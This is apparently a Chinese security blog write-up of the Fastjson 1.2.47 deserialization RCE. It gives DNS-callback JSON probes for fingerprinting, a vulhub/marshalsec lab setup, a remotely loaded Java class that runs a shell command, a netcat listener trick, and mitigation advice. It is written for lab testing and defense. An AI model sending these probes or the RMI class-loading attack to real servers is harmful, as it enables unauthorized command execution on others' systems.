Fastjson 1.2.47 遠程命令執行漏

1. 漏洞簡介

Fastjosn 無疑是這兩年的漏洞之王, 一手反序列化RCE影響無數廠商, 目前1.2.48以下版本穩定受影響, 1.2.68以下版本開啓Autotype會受到影響

(不排除傳說中的1.2.67以下RCE漏洞, 期待八仙過海)

2. 影響組件

Fastjson < 1.2.48 (<1.2.68?)

3. 漏洞指紋

可以通過DNS回顯的方式檢測後端是否使用Fastjson

{"@type":"java.net.Inet4Address", "val":"dnslog"}
{"@type":"java.net.Inet6Address", "val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":, "val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL", "val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL", "val":"dnslog"}]
Set[{"@type":"java.net.URL", "val":"dnslog"}
{{"@type":"java.net.URL", "val":"dnslog"}:0

可以通過DOS時間延遲或者報錯回顯的方式檢測

4.漏洞分析

用marshalsec開啓RMI服務

git clone https://github.com/mbechler/marshalsec.git

mvn clean package -DskipTests

執行如下命令啓動一個spring web項目,其中使用fastjson作爲默認json解析器:

cd vulhub/fastjson/1.2.24-rce

docker-compose up -d

 

訪問http://your-ip:8090即可看到一個json對象被返回,我們將content-type修改爲application/json後可向其POST新的JSON對象,後端會利用fastjson進行解析。

目標環境是openjdk:8u102,這個版本沒有com.sun.jndi.rmi.object.trustURLCodebase的限制,我們可以簡單利用RMI進行命令執行。

用javac編譯代碼

// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

用python搭建http

啓動一個RMI服務器,監聽9999端口,並制定加載遠程類TouchFile.class:

向目標發送payload即可

5. 利用技巧

1.如何查看服務器的jdk版本呢, 這裏也有個小技巧

nc -lvvp 80#[marshalsec中指定的HTTP端口]

當服務器連接過來時, User-Agent中會標明當前服務器的JDK版本

2.當發現一臺Redis的數據中有@type字樣時, 意味着autotype大概率是開的, 只要不存在黑名單中的利用鏈都可以用#[同理可以用在jackson上]

fastjson/GenericFastJsonRedisSerializer.java at master · alibaba/fastjson
https://github.com/alibaba/fastjson/blob/master/src/main/java/com/alibaba/fastjson/support/spring/GenericFastJsonRedisSerializer.java

public class GenericFastJsonRedisSerializer implements RedisSerializer<Object> {
private final static ParserConfig defaultRedisConfig = new ParserConfig();
static { defaultRedisConfig.setAutoTypeSupport(true);}

 

其他消息隊列之類的都是同理

6. 防護方法

1.升級Fastjson到最新版(>=1.2.68 新增了safemode, 徹底關閉autotype)
2.WAF攔截過濾請求包中的 @type%u0040%u0074%u0079%u0070%u0065\u0040type\x04type等多種編碼的autotype變形

3.最少升級到1.2.48以上版本且關閉autotype選項

4.升級對應JDK版本到 8u191/7u201/6u211/11.0.1 以上

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章